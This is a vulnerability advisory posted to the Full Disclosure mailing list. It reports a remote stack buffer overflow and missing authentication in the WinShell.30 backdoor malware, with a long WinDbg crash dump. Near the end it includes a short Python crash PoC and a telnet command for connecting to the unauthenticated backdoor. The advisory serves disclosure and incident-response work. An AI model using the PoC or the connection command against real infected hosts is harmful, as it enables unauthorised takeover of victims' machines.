Message-ID: <CAAHK0WSFSwVPVXKPqcGN9wiFo7pXmhorKhtFJv=rvKq5JBvdxg@mail.gmail.com>
Date: Wed, 20 Jan 2021 21:28:16 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.WinShell.30 / Remote Stack Buffer Overflow /
	Missing Authentication

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/56a2b135c8d35561ea5b04694155eb77.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.30
Vulnerability: Remote Stack Buffer Overflow / Missing Authentication
Description: WinShell.30 listens on TCP port 5277 for commands.
Attackers or responders who can reach the infected host can trigger a
buffer overflow by sending a large string of junk characters in place
of an expected command. This will overwrite EIP and potentially allow
control of the malwares execution flow. Moreover, WinShell.30 also
lacks any type of authentication for inbound connections, which can
allow anyone to take over the infected system.
Type: PE32
MD5: 56a2b135c8d35561ea5b04694155eb77
Vuln ID: MVID-2021-0040
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/20/2021

Memory Dump:
(1c98.1010): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=02621428 ebp=02621448 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???


0:002> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for
Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe
*** ERROR: Module load completed but symbols could not be loaded for
Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe

FAULTING_IP:
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+1703
00401703 88843d00ffffff  mov     byte ptr [ebp+edi-100h],al

EXCEPTION_RECORD:  0271f7bc -- (.exr 0x271f7bc)
ExceptionAddress: 00401703
(Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+0x00001703)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 02720000
Attempt to write to address 02720000

PROCESS_NAME:  Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p
referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+1703
00401703 88843d00ffffff  mov     byte ptr [ebp+edi-100h],al

FAILED_INSTRUCTION_ADDRESS:
+1703
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0271f80c -- (.cxr 0x271f80c)
eax=ffffff41 ebx=000001ec ecx=e9eec411 edx=00000000 esi=000001ec edi=00000180
eip=00401703 esp=0271fc6c ebp=0271ff80 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77+0x1703:
00401703 88843d00ffffff  mov     byte ptr [ebp+edi-100h],al ss:002b:02720000=??
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 41414141 to 00401703

FRAME_ONE_INVALID: 1

STACK_TEXT:
0271fc6c 00401703 backdoor_win32_winshell_30+0x1703
0271ff88 41414141 unknown!printable+0x0
0271ff8c 41414141 unknown!printable+0x0
0271ff90 41414141 unknown!printable+0x0
0271ff94 41414141 unknown!printable+0x0
0271ff98 41414141 unknown!printable+0x0
0271ff9c 41414141 unknown!printable+0x0
0271ffa0 41414141 unknown!printable+0x0
0271ffa4 41414141 unknown!printable+0x0
0271ffa8 41414141 unknown!printable+0x0
0271ffac 41414141 unknown!printable+0x0
0271ffb0 41414141 unknown!printable+0x0
0271ffb4 41414141 unknown!printable+0x0
0271ffb8 41414141 unknown!printable+0x0
0271ffbc 41414141 unknown!printable+0x0
0271ffc0 41414141 unknown!printable+0x0
0271ffc4 41414141 unknown!printable+0x0
0271ffc8 41414141 unknown!printable+0x0
0271ffcc 41414141 unknown!printable+0x0
0271ffd0 41414141 unknown!printable+0x0
0271ffd4 41414141 unknown!printable+0x0
0271ffd8 41414141 unknown!printable+0x0
0271ffdc 41414141 unknown!printable+0x0
0271ffe0 41414141 unknown!printable+0x0
0271ffe4 41414141 unknown!printable+0x0
0271ffe8 41414141 unknown!printable+0x0
0271ffec 41414141 unknown!printable+0x0
0271fff0 41414141 unknown!printable+0x0
0271fff4 41414141 unknown!printable+0x0
0271fff8 41414141 unknown!printable+0x0
0271fffc 41414141 unknown!printable+0x0
02720000 41414141 unknown!printable+0x0


STACK_COMMAND:  .cxr 000000000271F80C ; kb ; dds 271fc6c ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  backdoor_win32_winshell_30+1703

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: Backdoor_Win32_WinShell_30_56a2b135c8d35561ea5b04694155eb77

IMAGE_NAME:  Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  3bfa9e51

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_winshell_30+1703

FAILURE_BUCKET_ID:
STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.WinShell.30.56a2b135c8d35561ea5b04694155eb77.exe!Unknown



Exploit/PoC-1:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=5277

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    PBARBAR = "A"*1875+" HTTP/1.1\r\nHost: "+MALWARE_HOST+"\r\n\r\n"
    s.send(PBARBAR)
    s.close()

    print("Backdoor.Win32.WinShell.30 / Remote Stack Buffer Overflow");
    print("MD5: 56a2b135c8d35561ea5b04694155eb77");
    print("By Malvuln");


if __name__=="__main__":
    doit()

Exploit/PoC-2:
TELNET x.x.x.x 5277



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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